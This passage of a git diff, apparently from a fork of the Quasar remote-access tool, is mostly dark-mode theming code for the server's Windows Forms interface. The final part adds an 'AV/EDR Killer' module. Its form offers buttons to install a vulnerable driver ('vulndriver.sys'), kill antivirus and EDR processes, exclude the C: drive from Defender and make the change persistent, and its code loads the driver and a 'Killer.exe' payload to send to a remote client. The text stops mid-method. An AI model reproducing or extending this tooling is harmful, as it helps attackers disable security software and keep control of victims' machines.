penBorderSmooth = new Pen(_Control.Parent.BackColor, smoothSize)) + using (Pen penBorder = new Pen((Color)borderColor, borderSize)) + { + //-Drawing + _Control.Region = new Region(pathBorderSmooth);//Set the rounded region of UserControl + if (Radius > 15) //Set the rounded region of TextBox component + { + using (GraphicsPath pathTxt = GetFigurePath(_Control.ClientRectangle, borderSize * 2)) + { + _Control.Region = new Region(pathTxt); + } + } + graph.SmoothingMode = SmoothingMode.AntiAlias; + penBorder.Alignment = System.Drawing.Drawing2D.PenAlignment.Center; + //if (isFocused) penBorder.Color = borderFocusColor; + + if (underlinedStyle) //Line Style + { + //Draw border smoothing + graph.DrawPath(penBorderSmooth, pathBorderSmooth); + //Draw border + graph.SmoothingMode = SmoothingMode.None; + graph.DrawLine(penBorder, 0, _Control.Height - 1, _Control.Width, _Control.Height - 1); + } + else //Normal Style + { + //Draw border smoothing + graph.DrawPath(penBorderSmooth, pathBorderSmooth); + //Draw border + graph.DrawPath(penBorder, pathBorder); + } + } + } + }; + } + } + catch { throw; } + } + + /// Colorea una imagen usando una Matrix de Color. + /// Imagen a Colorear + /// Color a Utilizar + public static Bitmap ChangeToColor(Bitmap bmp, Color c) + { + Bitmap bmp2 = new Bitmap(bmp.Width, bmp.Height); + using (Graphics g = Graphics.FromImage(bmp2)) + { + g.InterpolationMode = InterpolationMode.HighQualityBilinear; + g.CompositingQuality = CompositingQuality.HighQuality; + g.SmoothingMode = SmoothingMode.HighQuality; + + float tR = c.R / 255f; + float tG = c.G / 255f; + float tB = c.B / 255f; + + System.Drawing.Imaging.ColorMatrix colorMatrix = new System.Drawing.Imaging.ColorMatrix(new float[][] + { + new float[] { 1, 0, 0, 0, 0 }, + new float[] { 0, 1, 0, 0, 0 }, + new float[] { 0, 0, 1, 0, 0 }, + new float[] { 0, 0, 0, 1, 0 }, //<- not changing alpha + new float[] { tR, tG, tB, 0, 1 } + }); + + System.Drawing.Imaging.ImageAttributes attributes = new System.Drawing.Imaging.ImageAttributes(); + attributes.SetColorMatrix(colorMatrix); + + g.DrawImage(bmp, new Rectangle(0, 0, bmp.Width, bmp.Height), + 0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, attributes); + } + return bmp2; + } + public static Image ChangeToColor(Image bmp, Color c) => (Image)ChangeToColor((Bitmap)bmp, c); + + #endregion Public Methods + + #region Private Methods + + /// + /// handle hierarchical context menus (otherwise, only the root level gets themed) + /// + private void Tsdd_Opening(object sender, CancelEventArgs e) + { + ToolStripDropDown tsdd = sender as ToolStripDropDown; + if (tsdd == null) return; //should not occur + + foreach (ToolStripMenuItem toolStripMenuItem in tsdd.Items.OfType()) + { + toolStripMenuItem.DropDownOpening -= Tsmi_DropDownOpening; //just to make sure + toolStripMenuItem.DropDownOpening += Tsmi_DropDownOpening; + } + } + + /// + /// handle hierarchical context menus (otherwise, only the root level gets themed) + /// + private void Tsmi_DropDownOpening(object sender, EventArgs e) + { + ToolStripMenuItem tsmi = sender as ToolStripMenuItem; + if (tsmi == null) return; //should not occur + + if (tsmi.DropDown.Items.Count > 0) ThemeControl(tsmi.DropDown); + + //once processed, remove itself to prevent multiple executions (when user leaves and reenters the sub-menu) + tsmi.DropDownOpening -= Tsmi_DropDownOpening; + } + + /// Attemps to apply Window's Dark Style to the Control and all its childs. + /// + private static void ApplySystemDarkTheme(Control control = null, bool IsDarkMode = true) + { + /* + DWMWA_USE_IMMERSIVE_DARK_MODE: https://learn.microsoft.com/en-us/windows/win32/api/dwmapi/ne-dwmapi-dwmwindowattribute + + Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. + For compatibility reasons, all windows default to light mode regardless of the system setting. + The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. + + This value is supported starting with Windows 11 Build 22000. + + SetWindowTheme: https://learn.microsoft.com/en-us/windows/win32/api/uxtheme/nf-uxtheme-setwindowtheme + Causes a window to use a different set of visual style information than its class normally uses. Fix for Scrollbars! + */ + int[] DarkModeOn = IsDarkMode ? new[] { 0x01 } : new[] { 0x00 }; //<- 1=True, 0=False + string Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + + SetWindowTheme(control.Handle, Mode, null); //DarkMode_Explorer, ClearMode_Explorer, DarkMode_CFD, DarkMode_ItemsView, + + if (DwmSetWindowAttribute(control.Handle, (int)DWMWINDOWATTRIBUTE.DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1, DarkModeOn, 4) != 0) + DwmSetWindowAttribute(control.Handle, (int)DWMWINDOWATTRIBUTE.DWMWA_USE_IMMERSIVE_DARK_MODE, DarkModeOn, 4); + + foreach (Control child in control.Controls) + { + if (child.Controls.Count != 0) + ApplySystemDarkTheme(child, IsDarkMode); + } + } + + private static bool IsWindows10orGreater() + { + if (WindowsVersion() >= 10) + return true; + else + return false; + } + + private static int WindowsVersion() + { + //for .Net4.8 and Minor + int result; + try + { + var reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"); + string[] productName = reg.GetValue("ProductName").ToString().Split((char)32); + int.TryParse(productName[1], out result); + } + catch (Exception) + { + OperatingSystem os = Environment.OSVersion; + result = os.Version.Major; + } + + return result; + + //fixed .Net6 + //return System.Environment.OSVersion.Version.Major; + } + + private static Color GetReadableColor(Color backgroundColor) + { + // Calculate the relative luminance of the background color. + // Normalize values to 0-1 range first. + double normalizedR = backgroundColor.R / 255.0; + double normalizedG = backgroundColor.G / 255.0; + double normalizedB = backgroundColor.B / 255.0; + double luminance = 0.299 * normalizedR + 0.587 * normalizedG + 0.114 * normalizedB; + + // Choose a contrasting foreground color based on the luminance, + // with a slight bias towards lighter colors for better readability. + return luminance < 0.5 ? Color.FromArgb(182, 180, 215) : Color.FromArgb(34, 34, 34); // Dark gray for light backgrounds + } + + // For Rounded Corners: + private static GraphicsPath GetFigurePath(Rectangle rect, int radius) + { + GraphicsPath path = new GraphicsPath(); + float curveSize = radius * 2F; + + path.StartFigure(); + path.AddArc(rect.X, rect.Y, curveSize, curveSize, 180, 90); + path.AddArc(rect.Right - curveSize, rect.Y, curveSize, curveSize, 270, 90); + path.AddArc(rect.Right - curveSize, rect.Bottom - curveSize, curveSize, curveSize, 0, 90); + path.AddArc(rect.X, rect.Bottom - curveSize, curveSize, curveSize, 90, 90); + path.CloseFigure(); + return path; + } + + #endregion Private Methods + } + + /// Windows 10+ System Colors for Clear Color Mode. + public class OSThemeColors + { + public OSThemeColors() + { + } + + /// For the very back of the Window + public System.Drawing.Color Background { get; set; } = SystemColors.Control; + + /// For Borders around the Background + public System.Drawing.Color BackgroundDark { get; set; } = SystemColors.ControlDark; + + /// For hightlights over the Background + public System.Drawing.Color BackgroundLight { get; set; } = SystemColors.ControlLight; + + /// For Container above the Background + public System.Drawing.Color Surface { get; set; } = SystemColors.ControlLightLight; + + /// For Borders around the Surface + public System.Drawing.Color SurfaceDark { get; set; } = SystemColors.ControlLight; + + /// For Highligh over the Surface + public System.Drawing.Color SurfaceLight { get; set; } = Color.White; + + /// For Main Texts + public System.Drawing.Color TextActive { get; set; } = SystemColors.ControlText; + + /// For Inactive Texts + public System.Drawing.Color TextInactive { get; set; } = SystemColors.GrayText; + + /// For Hightligh Texts + public System.Drawing.Color TextInAccent { get; set; } = SystemColors.HighlightText; + + /// For the background of any Control + public System.Drawing.Color Control { get; set; } = SystemColors.ButtonFace; + + /// For Bordes of any Control + public System.Drawing.Color ControlDark { get; set; } = SystemColors.ButtonShadow; + + /// For Highlight elements in a Control + public System.Drawing.Color ControlLight { get; set; } = SystemColors.ButtonHighlight; + + /// Windows 10+ Chosen Accent Color + public System.Drawing.Color Accent { get; set; } = DarkModeCS.GetWindowsAccentColor(); + + public System.Drawing.Color AccentOpaque { get; set; } = DarkModeCS.GetWindowsAccentOpaqueColor(); + + public System.Drawing.Color AccentDark { get { return ControlPaint.Dark(Accent); } } + + public System.Drawing.Color AccentLight { get { return ControlPaint.Light(Accent); } } + + /// the color displayed most frequently across your app's screens and components. + public System.Drawing.Color Primary { get; set; } = SystemColors.Highlight; + + public System.Drawing.Color PrimaryDark { get { return ControlPaint.Dark(Primary); } } + + public System.Drawing.Color PrimaryLight { get { return ControlPaint.Light(Primary); } } + + /// to accent select parts of your UI. + public System.Drawing.Color Secondary { get; set; } = SystemColors.HotTrack; + + public System.Drawing.Color SecondaryDark { get { return ControlPaint.Dark(Secondary); } } + + public System.Drawing.Color SecondaryLight { get { return ControlPaint.Light(Secondary); } } + } + + /* Custom Renderers for Menus and ToolBars */ + public class MyRenderer : ToolStripProfessionalRenderer + { + public bool ColorizeIcons { get; set; } = true; + public OSThemeColors MyColors { get; set; } //<- Your Custom Colors Colection + + public MyRenderer(ProfessionalColorTable table, bool pColorizeIcons = true) : base(table) + { + ColorizeIcons = pColorizeIcons; + } + + private void DrawTitleBar(Graphics g, Rectangle rect) + { + // Assign the image for the grip. + //Image titlebarGrip = titleBarGripBmp; + + // Fill the titlebar. + // This produces the gradient and the rounded-corner effect. + //g.DrawLine(new Pen(titlebarColor1), rect.X, rect.Y, rect.X + rect.Width, rect.Y); + //g.DrawLine(new Pen(titlebarColor2), rect.X, rect.Y + 1, rect.X + rect.Width, rect.Y + 1); + //g.DrawLine(new Pen(titlebarColor3), rect.X, rect.Y + 2, rect.X + rect.Width, rect.Y + 2); + //g.DrawLine(new Pen(titlebarColor4), rect.X, rect.Y + 3, rect.X + rect.Width, rect.Y + 3); + //g.DrawLine(new Pen(titlebarColor5), rect.X, rect.Y + 4, rect.X + rect.Width, rect.Y + 4); + //g.DrawLine(new Pen(titlebarColor6), rect.X, rect.Y + 5, rect.X + rect.Width, rect.Y + 5); + //g.DrawLine(new Pen(titlebarColor7), rect.X, rect.Y + 6, rect.X + rect.Width, rect.Y + 6); + + // Center the titlebar grip. + //g.DrawImage( + // titlebarGrip, + // new Point(rect.X + ((rect.Width / 2) - (titlebarGrip.Width / 2)), + // rect.Y + 1)); + } + + // This method handles the RenderGrip event. + protected override void OnRenderGrip(ToolStripGripRenderEventArgs e) + { + DrawTitleBar( + e.Graphics, + new Rectangle(0, 0, e.ToolStrip.Width, 7)); + } + + // This method handles the RenderToolStripBorder event. + protected override void OnRenderToolStripBorder(ToolStripRenderEventArgs e) + { + DrawTitleBar( + e.Graphics, + new Rectangle(0, 0, e.ToolStrip.Width, 7)); + } + + // Background of the whole ToolBar Or MenuBar: + protected override void OnRenderToolStripBackground(ToolStripRenderEventArgs e) + { + e.ToolStrip.BackColor = MyColors.Background; + base.OnRenderToolStripBackground(e); + } + + // For Normal Buttons on a ToolBar: + protected override void OnRenderButtonBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + Pen BordersPencil = new Pen(MyColors.Background); + + ToolStripButton button = e.Item as ToolStripButton; + if (button.Pressed || button.Checked) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (button.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + g.FillRectangle(b, bounds); + } + + e.Graphics.DrawRectangle( + BordersPencil, + bounds); + + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Y, + bounds.Width - 1, + bounds.Y); + + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Y, + bounds.X, + bounds.Height - 1); + + ToolStrip toolStrip = button.Owner; + + if (!(button.Owner.GetItemAt(button.Bounds.X, button.Bounds.Bottom + 1) is ToolStripButton nextItem)) + { + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Height - 1, + bounds.X + bounds.Width - 1, + bounds.Height - 1); + } + } + + // For DropDown Buttons on a ToolBar: + protected override void OnRenderDropDownButtonBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + Pen BordersPencil = new Pen(MyColors.Background); + + //1. Determine the colors to use: + if (e.Item.Pressed) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (e.Item.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + //2. Draw the Box around the Control + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + e.Graphics.FillRectangle(b, bounds); + } + + //3. Draws the Chevron: + + #region Chevron + + //int Padding = 2; //<- From the right side + //Size cSize = new Size(8, 4); //<- Size of the Chevron: 8x4 px + //Pen ChevronPen = new Pen(MyColors.TextInactive, 2); //<- Color and Border Width + //Point P1 = new Point(bounds.Width - (cSize.Width + Padding), (bounds.Height / 2) - (cSize.Height / 2)); + //Point P2 = new Point(bounds.Width - Padding, (bounds.Height / 2) - (cSize.Height / 2)); + //Point P3 = new Point(bounds.Width - (cSize.Width / 2 + Padding), (bounds.Height / 2) + (cSize.Height / 2)); + + //e.Graphics.DrawLine(ChevronPen, P1, P3); + //e.Graphics.DrawLine(ChevronPen, P2, P3); + + #endregion Chevron + } + + // For SplitButtons on a ToolBar: + protected override void OnRenderSplitButtonBackground(ToolStripItemRenderEventArgs e) + { + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + //1. Determine the colors to use: + if (e.Item.Pressed) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (e.Item.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + //2. Draw the Box around the Control + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + e.Graphics.FillRectangle(b, bounds); + } + + //3. Draws the Chevron: + + #region Chevron + + int Padding = 2; //<- From the right side + Size cSize = new Size(8, 4); //<- Size of the Chevron: 8x4 px + Pen ChevronPen = new Pen(MyColors.TextInactive, 2); //<- Color and Border Width + Point P1 = new Point(bounds.Width - (cSize.Width + Padding), (bounds.Height / 2) - (cSize.Height / 2)); + Point P2 = new Point(bounds.Width - Padding, (bounds.Height / 2) - (cSize.Height / 2)); + Point P3 = new Point(bounds.Width - (cSize.Width / 2 + Padding), (bounds.Height / 2) + (cSize.Height / 2)); + + e.Graphics.DrawLine(ChevronPen, P1, P3); + e.Graphics.DrawLine(ChevronPen, P2, P3); + + #endregion Chevron + } + + // For the Text Color of all Items: + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + if (e.Item.Enabled) + { + if (e.TextColor == Color.Black || e.TextColor == Color.White) + { + e.TextColor = MyColors.TextActive; + } + } + else + { + if (e.TextColor == Color.Black || e.TextColor == Color.White) + { + e.TextColor = MyColors.TextInactive; + } + } + base.OnRenderItemText(e); + } + + // Fix for CS0184: The given expression is never of the provided ('ComboBox') type + // The issue occurs because `e.Item` is of type `ToolStripItem`, which cannot be a `ComboBox`. + // Instead, we should check for `ToolStripComboBox`, which is the correct type for combo boxes in a ToolStrip. + + protected override void OnRenderItemBackground(ToolStripItemRenderEventArgs e) + { + base.OnRenderItemBackground(e); + + // Corrected type check from ComboBox to ToolStripComboBox + if (e.Item is ToolStripComboBox) + { + Rectangle rect = new Rectangle(Point.Empty, e.Item.Size); + e.Graphics.DrawRectangle(new Pen(MyColors.ControlLight, 1), rect); + } + } + + // For Menu Items BackColor: + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; // Color.FromArgb(125, 165, 224); + + bool DrawIt = false; + var _menu = e.Item as ToolStripItem; + if (_menu.Pressed) + { + gradientBegin = MyColors.Control; // Color.FromArgb(254, 128, 62); + gradientEnd = MyColors.Control; // Color.FromArgb(255, 223, 154); + DrawIt = true; + } + else if (_menu.Selected) + { + gradientBegin = MyColors.Accent;// Color.FromArgb(255, 255, 222); + gradientEnd = MyColors.Accent; // Color.FromArgb(255, 203, 136); + DrawIt = true; + } + + if (DrawIt) + { + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + g.FillRectangle(b, bounds); + } + } + } + + // Re-Colors the Icon Images to a Clear color: + protected override void OnRenderItemImage(ToolStripItemImageRenderEventArgs e) + { + if (e.Item.GetType().FullName == "System.Windows.Forms.MdiControlStrip+ControlBoxMenuItem") + { + //Window Controls - Minimize, Maximize, Close button of a maximized MDI child windows + //are realized as ControlBoxMenuItem contained in the MenuStrip + //by default they would be painted black on a dark surface + //so to make them more visible, we paint them ourselves: + Image image = e.Image; + Color _ClearColor = e.Item.Enabled ? MyColors.TextActive : MyColors.SurfaceDark; + + using (Image adjustedImage = DarkModeCS.ChangeToColor(image, _ClearColor)) + { + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + e.Graphics.CompositingQuality = + CompositingQuality.AssumeLinear; //looks thinner and less fuzzy than HighQuality + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + e.Graphics.DrawImage(adjustedImage, e.ImageRectangle); + } + + return; + } + + if (ColorizeIcons && e.Image != null) + { + // Get the current icon + Image image = e.Image; + Color _ClearColor = e.Item.Enabled ? MyColors.TextInactive : MyColors.SurfaceDark; + + // Create a new image with the desired color adjustments + using (Image adjustedImage = DarkModeCS.ChangeToColor(image, _ClearColor)) + { + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + e.Graphics.CompositingQuality = CompositingQuality.HighQuality; + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + e.Graphics.DrawImage(adjustedImage, e.ImageRectangle); + } + } + else + { + base.OnRenderItemImage(e); + } + } + } + + public class CustomColorTable : ProfessionalColorTable + { + public OSThemeColors Colors { get; set; } + + public CustomColorTable(OSThemeColors _Colors) + { + Colors = _Colors; + base.UseSystemColors = false; + } + + public override Color ImageMarginGradientBegin + { + get { return Colors.Background; } + } + + public override Color ImageMarginGradientMiddle + { + get { return Colors.Background; } + } + + public override Color ImageMarginGradientEnd + { + get { return Colors.Background; } + } + } + + /// + /// Stores additional info related to the Controls + /// + public class ControlStatusStorage + { + /// + /// Storage for the data. ConditionalWeakTable ensures there are no unnecessary references left, preventing garbage collection. + /// + private readonly ConditionalWeakTable _controlsProcessed = new ConditionalWeakTable(); + + /// + /// Registers the Control as processed. Prevents applying theme to the Control. + /// Call it before applying the theme to your Form (or to any other Control containing (directly or indirectly) this Control) + /// + public void ExcludeFromProcessing(Control control) + { + _controlsProcessed.Remove(control); + _controlsProcessed.Add(control, new ControlStatusInfo() { IsExcluded = true }); + } + + /// + /// Gets the additional info associated with a Control + /// + /// a ControlStatusInfo object if the control has been already processed or marked for exclusion, null otherwise + public ControlStatusInfo GetControlStatusInfo(Control control) + { + _controlsProcessed.TryGetValue(control, out ControlStatusInfo info); + return info; + } + + public void RegisterProcessedControl(Control control, bool isDarkMode) + { + _controlsProcessed.Add(control, + new ControlStatusInfo() { IsExcluded = false, LastThemeAppliedIsDark = isDarkMode }); + } + } + + /// + /// Additional information related to the Controls + /// + public class ControlStatusInfo + { + /// + /// true if the user wants to skip theming the Control + /// + public bool IsExcluded { get; set; } + + /// + /// whether the last theme applied was dark + /// + public bool LastThemeAppliedIsDark { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs new file mode 100755 index 0000000..b8a5fec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs @@ -0,0 +1,43 @@ +using DarkModeForms; +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Forms.DarkMode +{ + public class DarkModeManager + { + private static readonly DarkModeCS.DisplayMode lightMode = DarkModeCS.DisplayMode.ClearMode; + private static readonly DarkModeCS.DisplayMode darkMode = DarkModeCS.DisplayMode.DarkMode; + + [DllImport("dwmapi.dll")] + private static extern int DwmSetWindowAttribute(IntPtr hwnd, int dwAttribute, ref int pvAttribute, int cbAttribute); + + private const int DWMWA_BORDER_COLOR = 34; // DWM attribute for border color + + public static void ApplyDarkMode(Form form) + { + bool isDarkModeChecked = Settings.DarkMode; + + DarkModeCS darkModeCS = new DarkModeCS(form) + { + ColorMode = isDarkModeChecked ? darkMode : lightMode, + ColorizeIcons = false, + }; + + // Manually call ApplyTheme since we're already in Form.Load + darkModeCS.ApplyTheme(isDarkModeChecked); + + Color borderColor = isDarkModeChecked ? Color.DimGray : Color.DimGray; + SetBorderColor(form, borderColor); + } + + private static void SetBorderColor(Form form, Color color) + { + int colorValue = color.R | (color.G << 8) | (color.B << 16); + DwmSetWindowAttribute(form.Handle, DWMWA_BORDER_COLOR, ref colorValue, sizeof(int)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs new file mode 100755 index 0000000..69b3eda --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs @@ -0,0 +1,162 @@ +namespace Quasar.Server.Forms +{ + partial class FrmAVKiller + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.btnCheckDriver = new System.Windows.Forms.Button(); + this.btnInstallDriver = new System.Windows.Forms.Button(); + this.btnKillAVEDR = new System.Windows.Forms.Button(); + this.btnStopKiller = new System.Windows.Forms.Button(); + this.btnExcludeCDrive = new System.Windows.Forms.Button(); + this.chkMakePersistent = new System.Windows.Forms.CheckBox(); + this.txtLog = new System.Windows.Forms.TextBox(); + this.lblLog = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // btnCheckDriver + // + this.btnCheckDriver.Location = new System.Drawing.Point(16, 15); + this.btnCheckDriver.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnCheckDriver.Name = "btnCheckDriver"; + this.btnCheckDriver.Size = new System.Drawing.Size(880, 43); + this.btnCheckDriver.TabIndex = 0; + this.btnCheckDriver.Text = "Check Driver"; + this.btnCheckDriver.UseVisualStyleBackColor = true; + this.btnCheckDriver.Click += new System.EventHandler(this.btnCheckDriver_Click); + // + // btnInstallDriver + // + this.btnInstallDriver.Location = new System.Drawing.Point(16, 65); + this.btnInstallDriver.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnInstallDriver.Name = "btnInstallDriver"; + this.btnInstallDriver.Size = new System.Drawing.Size(880, 43); + this.btnInstallDriver.TabIndex = 1; + this.btnInstallDriver.Text = "Install Driver"; + this.btnInstallDriver.UseVisualStyleBackColor = true; + this.btnInstallDriver.Click += new System.EventHandler(this.btnInstallDriver_Click); + // + // btnKillAVEDR + // + this.btnKillAVEDR.BackColor = System.Drawing.Color.Transparent; + this.btnKillAVEDR.ForeColor = System.Drawing.Color.White; + this.btnKillAVEDR.Location = new System.Drawing.Point(16, 116); + this.btnKillAVEDR.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnKillAVEDR.Name = "btnKillAVEDR"; + this.btnKillAVEDR.Size = new System.Drawing.Size(287, 43); + this.btnKillAVEDR.TabIndex = 2; + this.btnKillAVEDR.Text = "Kill AV/EDR"; + this.btnKillAVEDR.UseVisualStyleBackColor = false; + this.btnKillAVEDR.Click += new System.EventHandler(this.btnKillAVEDR_Click); + // + // btnStopKiller + // + this.btnStopKiller.BackColor = System.Drawing.Color.Transparent; + this.btnStopKiller.Enabled = false; + this.btnStopKiller.ForeColor = System.Drawing.Color.White; + this.btnStopKiller.Location = new System.Drawing.Point(316, 116); + this.btnStopKiller.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStopKiller.Name = "btnStopKiller"; + this.btnStopKiller.Size = new System.Drawing.Size(287, 43); + this.btnStopKiller.TabIndex = 3; + this.btnStopKiller.Text = "Stop Killer"; + this.btnStopKiller.UseVisualStyleBackColor = false; + this.btnStopKiller.Click += new System.EventHandler(this.btnStopKiller_Click); + // + // btnExcludeCDrive + // + this.btnExcludeCDrive.BackColor = System.Drawing.Color.Transparent; + this.btnExcludeCDrive.ForeColor = System.Drawing.Color.White; + this.btnExcludeCDrive.Location = new System.Drawing.Point(609, 116); + this.btnExcludeCDrive.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExcludeCDrive.Name = "btnExcludeCDrive"; + this.btnExcludeCDrive.Size = new System.Drawing.Size(287, 43); + this.btnExcludeCDrive.TabIndex = 7; + this.btnExcludeCDrive.Text = "Exclude C:\\ from Defender"; + this.btnExcludeCDrive.UseVisualStyleBackColor = false; + this.btnExcludeCDrive.Click += new System.EventHandler(this.btnExcludeCDrive_Click); + // + // chkMakePersistent + // + this.chkMakePersistent.AutoSize = true; + this.chkMakePersistent.Location = new System.Drawing.Point(16, 172); + this.chkMakePersistent.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkMakePersistent.Name = "chkMakePersistent"; + this.chkMakePersistent.Size = new System.Drawing.Size(125, 20); + this.chkMakePersistent.TabIndex = 4; + this.chkMakePersistent.Text = "Make Persistent"; + this.chkMakePersistent.UseVisualStyleBackColor = true; + this.chkMakePersistent.CheckedChanged += new System.EventHandler(this.chkMakePersistent_CheckedChanged); + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(16, 228); + this.txtLog.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtLog.Multiline = true; + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtLog.Size = new System.Drawing.Size(879, 307); + this.txtLog.TabIndex = 5; + // + // lblLog + // + this.lblLog.AutoSize = true; + this.lblLog.Location = new System.Drawing.Point(16, 203); + this.lblLog.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLog.Name = "lblLog"; + this.lblLog.Size = new System.Drawing.Size(113, 16); + this.lblLog.TabIndex = 6; + this.lblLog.Text = "Command Output:"; + // + // FrmAVKiller + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(912, 550); + this.Controls.Add(this.btnExcludeCDrive); + this.Controls.Add(this.lblLog); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.chkMakePersistent); + this.Controls.Add(this.btnStopKiller); + this.Controls.Add(this.btnKillAVEDR); + this.Controls.Add(this.btnInstallDriver); + this.Controls.Add(this.btnCheckDriver); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MaximizeBox = false; + this.Name = "FrmAVKiller"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "AV/EDR Killer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmAVKiller_FormClosing); + this.Load += new System.EventHandler(this.FrmAVKiller_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + private System.Windows.Forms.Button btnCheckDriver; + private System.Windows.Forms.Button btnInstallDriver; + private System.Windows.Forms.Button btnKillAVEDR; + private System.Windows.Forms.Button btnStopKiller; + private System.Windows.Forms.Button btnExcludeCDrive; + private System.Windows.Forms.CheckBox chkMakePersistent; + private System.Windows.Forms.TextBox txtLog; + private System.Windows.Forms.Label lblLog; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs new file mode 100755 index 0000000..9e3fdc4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs @@ -0,0 +1,298 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmAVKiller : Form + { + private readonly Client _client; + private readonly AVKillerHandler _handler; + private byte[] _driverData; + private byte[] _killerData; + + public FrmAVKiller(Client client) + { + _client = client; + InitializeComponent(); + + _handler = new AVKillerHandler(client); + _handler.OutputReceived += Handler_OutputReceived; + MessageHandler.Register(_handler); + + // Load driver and killer files + LoadResources(); + } + + private void LoadResources() + { + try + { + string driverPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Resources", "vulndriver.sys"); + string killerPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Resources", "Killer.exe"); + + if (File.Exists(driverPath)) + { + _driverData = File.ReadAllBytes(driverPath); + AddLog($"Loaded driver file ({_driverData.Length} bytes)"); + } + else + 